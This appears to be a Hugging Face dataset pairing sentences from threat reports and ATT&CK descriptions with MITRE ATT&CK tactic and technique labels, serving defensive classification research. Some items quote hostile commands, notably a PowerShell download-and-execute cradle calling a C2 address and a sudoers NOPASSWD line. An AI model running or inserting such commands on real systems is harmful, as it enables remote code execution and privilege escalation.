madox81/Adema_ATTACK_DS huggingface dataset:
Input: Doing so allows a plausible reason for asking about services, policies, and information about their environment.

Tactics: TA0043
Techniques: T1598.001, T1598
Input: Helminth can download additional files.

Tactics: TA0011
Techniques: T1105
Input: This utility is able to execute complicated WQL queries and WMI methods

Tactics: TA0002
Techniques: T1047
Input: Leafminer used several tools for retrieving login and password information, including LaZagne.

Tactics: TA0006
Techniques: T1552.001, T1552, T1003, T1003.004, T1555.003, T1555, T1003.005
Input: Molerats has sent phishing emails with malicious links included.

Tactics: TA0001
Techniques: T1566, T1566.002
Input: Cleaver has used custom tools to facilitate ARP cache poisoning.

Tactics: TA0006, TA0009
Techniques: T1557, T1557.002
Input: Pysa has modified the registry key "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" and added the ransom note.

Tactics: TA0005
Techniques: T1112
Input: SLOWDRIFT uses cloud based services for C2.

Tactics: TA0011
Techniques: T1102.002, T1102
Input: Attor can download additional plugins, updates and other files.

Tactics: TA0011
Techniques: T1105
Input: WellMail can use hard coded client and certificate authority certificates to communicate with C2 over mutual TLS.

Tactics: TA0011
Techniques: T1573, T1573.002
Input: Another batch script run by a scheduled task renames the archives on the file server (see Figure 15)

Tactics: TA0002, TA0003, TA0004
Techniques: T1053.005, T1053
Input: Epic gathers a list of all user accounts, privilege classes, and time of last logon.

Tactics: TA0007
Techniques: T1087, T1087.001
Input: Work / project schedules

Tactics: TA0009
Techniques: T1213, T1213.001, T1213.002
Input: RogueRobin collects the victim’s username and whether that user is an admin.

Tactics: TA0007
Techniques: T1033
Input: After decompiling it from the PE file, it is heavily obfuscated and still almost unreadable.We deobfuscated the script to understand how the infection process works

Tactics: TA0005
Techniques: T1027
Input: An account can hold additional SIDs in the SID-History Active Directory attribute , allowing inter-operable account migration between domains (, all values in SID-History are included in access tokens).

Tactics: TA0004, TA0005
Techniques: T1134.005, T1134
Input: Avaddon has been executed through a malicious JScript downloader.

Tactics: TA0002
Techniques: T1059.007, T1059
Input: Similar to Process Injection, these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer.

Tactics: TA0003, TA0004
Techniques: T1546.012, T1546
Input: GALLIUM used the Windows command shell to execute commands.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: BBSRAT can modify service configurations.

Tactics: TA0003, TA0004
Techniques: T1543.003, T1543
Input: Monitor newly constructed files that may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation.

Tactics: TA0003, TA0004
Techniques: T1547, T1547.010
Input: Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.

Tactics: TA0006
Techniques: T1558
Input: At face value, this current variant of OopsIE has a vast majority of its strings obfuscated, which can be deobfuscated by splitting the strings using the hyphen as a delimiter, treating each split value as an integer, subtracting one from each integer and converting each into a character

Tactics: TA0005
Techniques: T1027
Input: Monitor for newly executed processes of binaries involved in shutting down or rebooting systems.

Tactics: TA0040
Techniques: T1529
Input: Since these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host.

Tactics: TA0003
Techniques: T1554
Input: 41 42 43 44 46 47 48 49 50 51 52 53 56 isys9core_64.dll isyspdf6_64.dll isyspdfl_64.dll isysdc_64.dll isys9.key isys.cwd isys.elx isys9_32.dll isys9core_32.dll isyspdf6_32.dll isyspdfl_32.dll isysdc_32.dll isys9_64.dll Proprietary “ISYS Search Software” components are used by Indexer plugin

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.001, T1218, T1574.002, T1218.011, T1055, T1574
Input: NETEAGLE will also use HTTP to download resources that contain an IP address and Port Number pair to connect to for further C2.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: FIN4 has accessed and hijacked online email communications using stolen credentials.

Tactics: TA0009
Techniques: T1114, T1114.002
Input: PLAINTEE uses the ipconfig /all command to gather the victim’s IP address.

Tactics: TA0007
Techniques: T1016
Input: Cuba logs keystrokes via polling by using GetKeyState and VkKeyScan functions.

Tactics: TA0006, TA0009
Techniques: T1056.001, T1056
Input: WannaCry creates the service "mssecsvc2.0" with the display name "Microsoft Security Center (2.0) Service."

Tactics: TA0003, TA0004
Techniques: T1543.003, T1543
Input: Finally, the first DLL adds the registry key “SysRat,” at SoftWare\Microsoft\Windows\CurrentVersion\Run, to ensure the malware is executed at startup

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers.

Tactics: TA0040
Techniques: T1498, T1498.002
Input: Botnets are commonly used to conduct DDoS attacks against networks and services.

Tactics: TA0040
Techniques: T1499
Input: With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.

Tactics: TA0042
Techniques: T1583, T1583.002
Input: Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.

Tactics: TA0005, TA0007
Techniques: T1497, T1497.001, T1622, T1497.002, T1497.003
Input: Adversaries may compromise third-party DNS servers that can be used during targeting.

Tactics: TA0042
Techniques: T1584.002, T1584
Input: Spearphishing attachment is a specific variant of spearphishing.

Tactics: TA0001
Techniques: T1566, T1566.001
Input: jRAT can be configured to reconnect at certain intervals.

Tactics: TA0010
Techniques: T1029
Input: Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or System Firmware.

Tactics: TA0005
Techniques: T1014
Input: AppleSeed has the ability to rename its payload to ESTCommon.dll to masquerade as a DLL belonging to ESTsecurity.

Tactics: TA0005
Techniques: T1036.005, T1036
Input: Office Visual Basic for Applications (VBA) macros  can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence.

Tactics: TA0003
Techniques: T1137, T1137.001
Input: Technologies such as Intel Boot Guard can assist with this.

Tactics: TA0003, TA0005
Techniques: T1542.001, T1542
Input: Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior.

Tactics: TA0004, TA0005
Techniques: T1055.003, T1055.004, T1055.002, T1055.012, T1055.005, T1055, T1055.015, T1055.001
Input: SILENTTRINITY tracks TrustedHosts and can move laterally to these targets via WinRM.

Tactics: TA0008
Techniques: T1021, T1021.006
Input: Night Dragon used pass-the-hash tools to gain usernames and passwords.

Tactics: TA0005, TA0008
Techniques: T1550.002, T1550
Input: Monitor and consider configuring alerting to notify of activity in normally unused regions or if the number of instances active in a region goes above a certain threshold.

Tactics: TA0005
Techniques: T1535
Input: PipeMon communications are RC4 encrypted.

Tactics: TA0011
Techniques: T1573, T1573.001
Input: Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet.

Tactics: TA0042
Techniques: T1588.004, T1588
Input: Metamorfo has automatically collected mouse clicks, continuous screenshots on the machine, and set timers to collect the contents of the clipboard and website browsing.

Tactics: TA0009
Techniques: T1119
Input: The data above contains the hostname (‘HOSTNAME-PC’) of the victim machine, as well as an instruction

Tactics: TA0007
Techniques: T1082
Input: Grandoreiro can determine the IP and physical location of the compromised host via IPinfo.

Tactics: TA0007
Techniques: T1016
Input: Monitor for changes made to processes that may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges.

Tactics: TA0004, TA0005
Techniques: T1055.005, T1055
Input: OilRig has run ipconfig /all on a victim.

Tactics: TA0007
Techniques: T1016
Input: Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code.

Tactics: TA0005
Techniques: T1027.004, T1027
Input: Watch on Fox News: Hackers may use fake Netflix app to spy on users As users have become more attached to their mobile devices, they want everything on those devices

Tactics: TA0007
Techniques: T1087, T1120
Input: Grandoreiro can execute through the WinExec API.

Tactics: TA0002
Techniques: T1106
Input: OilRig has used net group /domain, net group "domain admins" /domain, and net group "Exchange Trusted Subsystem" /domain to find domain group permission settings.

Tactics: TA0007
Techniques: T1069.002, T1069
Input: Carbanak actors used legitimate credentials of banking employees to perform operations that sent them millions of dollars.

Tactics: TA0001, TA0003, TA0004, TA0005
Techniques: T1078
Input: FALLCHILL can search files on a victim.

Tactics: TA0007
Techniques: T1083
Input: Bandook has been launched by starting iexplore.exe and replacing it with Bandook's payload.

Tactics: TA0004, TA0005
Techniques: T1055.012, T1055
Input: Wizard Spider has used taskkill.exe and net.exe to stop backup, catalog, cloud, and other services prior to network encryption.

Tactics: TA0040
Techniques: T1489
Input: OSInfo discovers shares on the network

Tactics: TA0007
Techniques: T1135
Input: A Turla Javascript backdoor added a local_update_check value under the Registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run to establish persistence.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: WarzoneRAT can access the webcam on a victim's machine.

Tactics: TA0009
Techniques: T1125
Input: Gamaredon Group has delivered macros which can tamper with Microsoft Office security settings.

Tactics: TA0005
Techniques: T1562.001, T1562
Input: KONNI has used net session on the victim's machine.

Tactics: TA0007
Techniques: T1049
Input: Hi-Zor has the ability to create a reverse shell.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: LazyScripter has used GitHub to host its payloads to operate spam campaigns.

Tactics: TA0011
Techniques: T1102
Input: Aquatic Panda has used publicly accessible DNS logging services to identify servers vulnerable to Log4j (CVE 2021-44228).

Tactics: TA0043
Techniques: T1595, T1595.002
Input: MuddyWater has used a legitimate application, ScreenConnect, to manage systems remotely and move laterally.

Tactics: TA0011
Techniques: T1219
Input: gh0st RAT can execute its service if the Service key exists.

Tactics: TA0002
Techniques: T1569.002, T1569
Input: Bisonal has checked if the malware is running in a virtual environment with the anti-debug function GetTickCount() to compare the timing.

Tactics: TA0005, TA0007
Techniques: T1497, T1497.003
Input: PROMETHIUM has created self-signed digital certificates for use in HTTPS C2 traffic.

Tactics: TA0042
Techniques: T1587, T1587.003
Input: Dok adds admin  ALL=(ALL) NOPASSWD: ALL to the /etc/sudoers file.

Tactics: TA0004, TA0005
Techniques: T1548.003, T1548
Input: Flagpro has exfiltrated data to the C2 server.

Tactics: TA0010
Techniques: T1041
Input: Pupy has a module to clear event logs with PowerShell.

Tactics: TA0005
Techniques: T1070, T1070.001
Input: Shamoon attempts to disable UAC remote restrictions by modifying the Registry.

Tactics: TA0004, TA0005
Techniques: T1548.002, T1548
Input: HermeticWiper can recursively wipe folders and files in Windows, Program Files, Program Files(x86), PerfLogs, Boot, System, Volume Information, and AppData folders using FSCTL_MOVE_FILE.

Tactics: TA0040
Techniques: T1485
Input: Lizar has a module to collect usernames and passwords stored in browsers.

Tactics: TA0006
Techniques: T1555.003, T1555
Input: Monitor for deletion of Windows Registry keys and/or values related to services and startup programs that correspond to security tools such as HKLM:\SOFTWARE\Microsoft\AMSI\Providers.

Tactics: TA0005
Techniques: T1562.001, T1562
Input: Process Doppelgänging is implemented in 4 steps :

Tactics: TA0004, TA0005
Techniques: T1055.013, T1055
Input: This technique may be combined with Masquerading to trick the user into granting escalated privileges to malicious code.

Tactics: TA0004, TA0005
Techniques: T1548.004, T1548
Input: Ferocious can run anti-sandbox checks using the Microsoft Excel 4.0 function GET.WORKSPACE to determine the OS version, if there is a mouse present, and if the host is capable of playing sounds.

Tactics: TA0005, TA0007
Techniques: T1497, T1497.001
Input: Stuxnet uses the SetSecurityDescriptorDacl API to reduce object integrity levels.

Tactics: TA0002
Techniques: T1106
Input: Monitor executed commands and arguments that may attempt to hide artifacts associated with their behaviors to evade detection.

Tactics: TA0005
Techniques: T1564
Input: Monitor for logins using SAML tokens which do not have corresponding 4769 and 1200 events in the domain.

Tactics: TA0006
Techniques: T1606, T1606.002
Input: route can be used to discover routing configuration information.

Tactics: TA0007
Techniques: T1016
Input: APT29 has used repeated MFA requests to gain access to victim accounts.

Tactics: TA0006
Techniques: T1621
Input: DRATzarus's dropper can be packed with UPX.

Tactics: TA0005
Techniques: T1027.002, T1027
Input: Indicators  File  Hash  Description  x.js  3fefa55daeb167931975c22df3eca20a  HOMEFRY, a 64-bit Windows password dumper/cracker  mt.exe  40528e368d323db0ac5c3f5e1efe4889  MURKYTOP, a command-line reconnaissance tool   com4.js  a68bf5fce22e7f1d6f999b7a580ae477  AIRBREAK, a JavaScript-based backdoor which retrieves commands from hidden strings in compromised webpages   Historical Indicators  File  Hash  Description  green.ddd  3eb6f85ac046a96204096ab65bbd3e7e  AIRBREAK, a JavaScript-based backdoor which retrieves commands from hidden strings in compromised webpages  BGij  6e843ef4856336fe3ef4ed27a4c792b1  Beacon, a commercially available backdoor  msresamn.ttf  a9e7539c1ebe857bae6efceefaa9dd16  PHOTO, also reported as Derusbi  1024-aa6a121f98330df2edee6c4391df21ff43a33604  bd9e4c82bf12c4e7a58221fc52fed705  BADFLICK, backdoor that is capable of modifying the file system, generating a reverse shell, and modifying its command-and-control configuration

Tactics: TA0005
Techniques: T1140
Input: If and only if the DC is able to successfully decrypt the timestamp with the hash of the user’s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user.

Tactics: TA0006
Techniques: T1558, T1558.004
Input: Figure 4: Execution Workflow Section of v.vbs After successful execution of the steps mentioned in the Execution Workflow section, the Task Scheduler will launch GoogleUpdateschecker.vbs every minute, which in turn executes the dUpdateCheckers.ps1 and hUpdateCheckers.ps1 scripts

Tactics: TA0002, TA0003, TA0004
Techniques: T1053.005, T1053, T1106, T1059
Input: APT28 has mapped network drives using Net and administrator credentials.

Tactics: TA0008
Techniques: T1021, T1021.002
Input: Adversaries may abuse these features for Defense Evasion, specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of cmd or file extensions more commonly associated with malicious payloads.

Tactics: TA0005
Techniques: T1202
Input: BLINDINGCAN has been packed with the UPX packer.

Tactics: TA0005
Techniques: T1027.002, T1027
Input: If email delegation is not required, disable it.

Tactics: TA0003
Techniques: T1098.002, T1098
Input: QakBot has spread through emails with malicious attachments.

Tactics: TA0001
Techniques: T1566, T1566.001
Input: Then pastebin.com, github.com, mailimg.com, upload.cat, dev-point.com and pomf.cat were used as channels for the different malware stages before achieving a full RAT implementation, which then communicates with the corresponding C2 server

Tactics: TA0011
Techniques: T1102
Input: Adversaries may abuse SQL stored procedures to establish persistent access to systems.

Tactics: TA0003
Techniques: T1505.001, T1505
Input: Derusbi is capable of logging keystrokes.

Tactics: TA0006, TA0009
Techniques: T1056.001, T1056
Input: Mofang delivered spearphishing emails with malicious links included.

Tactics: TA0001
Techniques: T1566, T1566.002
Input: FIN10 has used RDP to move laterally to systems in the victim environment.

Tactics: TA0008
Techniques: T1021.001, T1021
Input: MuddyWater has used malware to collect the victim’s IP address and domain name.

Tactics: TA0007
Techniques: T1016
Input: It is capable of the following functions:  Collect file/folder/drive information Download files and additional malware Launch/terminate/enumerate process Update configuration data Delete files Inject code from files to other running process Utilize proxy Open reverse shell Run in passive mode — instead of actively connecting to the command and control (C&C) server, the backdoor will open and listen to a port then receive commands through it  Once the backdoor is loaded, it will then load the encrypted configuration file Auditcred.dll.mui/rOptimizer.dll.mui to extract the C&C information and connect to it

Tactics: TA0004, TA0005
Techniques: T1055
Input: Conti can delete Windows Volume Shadow Copies using vssadmin.

Tactics: TA0040
Techniques: T1490
Input: Duqu examines running system processes for tokens that have specific system privileges.

Tactics: TA0004, TA0005
Techniques: T1134
Input: Industroyer used Tor nodes for C2.

Tactics: TA0011
Techniques: T1090.003, T1090
Input: Some MiniDuke components use Twitter to initially obtain the address of a C2 server or as a backup if no hard-coded C2 server responds.

Tactics: TA0011
Techniques: T1102.001, T1102
Input: These implementations exist for every major OS but are typically platform specific.

Tactics: TA0004, TA0005
Techniques: T1055
Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Phishing or Trusted Relationship).

Tactics: TA0043
Techniques: T1591
Input: Bandook contains keylogging capabilities.

Tactics: TA0006, TA0009
Techniques: T1056.001, T1056
Input: These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.

Tactics: TA0006
Techniques: T1606, T1606.002
Input: gh0st RAT has the capability to to delete files.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: Remsec also searches for custom network encryption software on victims.

Tactics: TA0007
Techniques: T1083
Input: MuddyWater has made use of  legitimate tools ConnectWise and RemoteUtilities for access to target environments.

Tactics: TA0042
Techniques: T1588, T1588.002
Input: The attackers orchestrate attacks using batch or PowerShell scripts that are executed, with the help of domain controllers, on any machine the DC can reach.

Tactics: TA0002
Techniques: T1059
Input: A particular variant of this behavior is to use onion routing networks, such as the publicly available TOR network.

Tactics: TA0011
Techniques: T1090.003, T1090
Input: BADNEWS has a command to download an .exe and execute it via CreateProcess API.

Tactics: TA0002
Techniques: T1106
Input: APT39 has used NBTscan and custom tools to discover remote systems.

Tactics: TA0007
Techniques: T1018
Input: Okrum was seen using a keylogger tool to capture keystrokes.

Tactics: TA0006, TA0009
Techniques: T1056.001, T1056
Input: The macro carries out this first technique by running the following command:powershell.exe -w hidden -noni -nop -c "iex(New-Object System.Net.WebClient).DownloadString('hxxp://139.59.46.154:3485/eiloShaegae1')"The code above generates the following HTTP request, which the C2 server would then respond to with a script that PowerShell would execute: GET /eiloShaegae1 HTTP/1.1 Host: 139.59.46[.]154:3485 Connection: Keep-Alive The second method involves using PowerShell to create a thread to execute a buffer of shellcode, which we believe the threat actors obtained from the Magic Unicorn source code

Tactics: TA0002, TA0011
Techniques: T1071, T1008, T1059.001, T1059
Input: RemoteCMD can execute commands remotely by creating a new service on the remote system.

Tactics: TA0002
Techniques: T1569.002, T1569
Input: Ensure proper registry permissions are in place to inhibit adversaries from disabling or interfering with critical services.

Tactics: TA0040
Techniques: T1489
Input: There are many ways to create and interact with ADSs using Windows utilities.

Tactics: TA0005
Techniques: T1564, T1564.004
Input: The final part of the VBA script changes the properties of these two files, setting their attributes to Hidden

Tactics: TA0005
Techniques: T1564, T1564.001
Input: TA459 has exploited Microsoft Word vulnerability CVE-2017-0199 for execution.

Tactics: TA0002
Techniques: T1203
Input: Taidoor can use GetCurrentProcessId for process discovery.

Tactics: TA0007
Techniques: T1057
Input: Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system.

Tactics: TA0011
Techniques: T1105
Input: HTTP/HTTP Management Services (80/TCP & 443/TCP)

Tactics: TA0006
Techniques: T1110.004, T1110, T1110.001, T1110.003
Input: (Source: Dell SecureWorks)   TG-3390 actors have also used the following publicly available tools:  Windows Credential Editor (WCE) — obtains passwords from memory gsecdump — obtains passwords from memory winrar — compresses data for exfiltration nbtscan — scans NetBIOS name servers  Tactics, techniques, and procedures Incident response engagements have given CTU researchers insight into the tactics TG-3390 employs during intrusions

Tactics: TA0006
Techniques: T1003
Input: APT29 has used spearphishing emails with an attachment to deliver files with exploits to initial victims.

Tactics: TA0001
Techniques: T1566, T1566.001
Input: Consider collecting changes to ARP caches across endpoints for signs of ARP poisoning.

Tactics: TA0006, TA0009
Techniques: T1557, T1557.002
Input: Pandora can identify if incoming HTTP traffic contains a token and if so it will intercept the traffic and process the received command.

Tactics: TA0003, TA0005, TA0011
Techniques: T1205
Input: LoJax has modified the Registry key ‘HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute’ from ‘autocheck autochk ’ to ‘autocheck autoche ’ in order to execute its payload during Windows startup.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: Tropic Trooper has exfiltrated data using USB storage devices.

Tactics: TA0010
Techniques: T1052, T1052.001
Input: AppleSeed can use GetKeyState and GetKeyboardState to capture keystrokes on the victim’s machine.

Tactics: TA0006, TA0009
Techniques: T1056.001, T1056